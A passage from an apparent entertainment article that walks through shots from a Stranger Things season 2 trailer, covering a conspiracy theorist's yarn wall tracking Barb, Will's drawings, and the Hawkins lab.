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That’s Brett Gelman, playing a conspiracy theorist who’s obsessed with the goings-on around Hawkins, Indiana. He has his own yarn wall with newspaper clippings, notecards, and photos on a bulletin board. There’s a timeline on the left with cards that read, “8:00am Leave Home, 8:15-3:20 School, 7pm Pick Up Nancy Wheeler, 7:30pm Park and Leave Car, 7:45 Harrington house.” It seems like he’s tracking Barb’s whereabouts, since she went missing last season. (Sorry everyone – she’s dead.)

An amusing side note: there’s a sketch of Eleven on the far right side of the board with the word “Russian?” written above it.

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Nancy’s boyfriend Steve Harrington, armed with his baseball bat full of nails, is out in the woods with Dustin, Lucas, and Max, the new female character that’s making her debut this season. The three in the back are arguing about something.

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Jumping ahead a few shots, we see Mike and Will sitting in Will’s room looking down at something. Notice the sweat around Will’s neck – that kid is not doing so well these days. And those drawings all around the room aren’t just harmless sketches, either…

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Will knows the shadow monster is out there. “These are not nightmares,” Hopper says. “It’s happening.”

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“And it all leads back to here.” Fans of season 1 will recall the Hawkins National Laboratory, where Eleven was experimented on and all sorts of shady shit went down. Even though Matthew Modine’s Martin Brenner is gone, they’re still up to their old tricks inside this secret facility.

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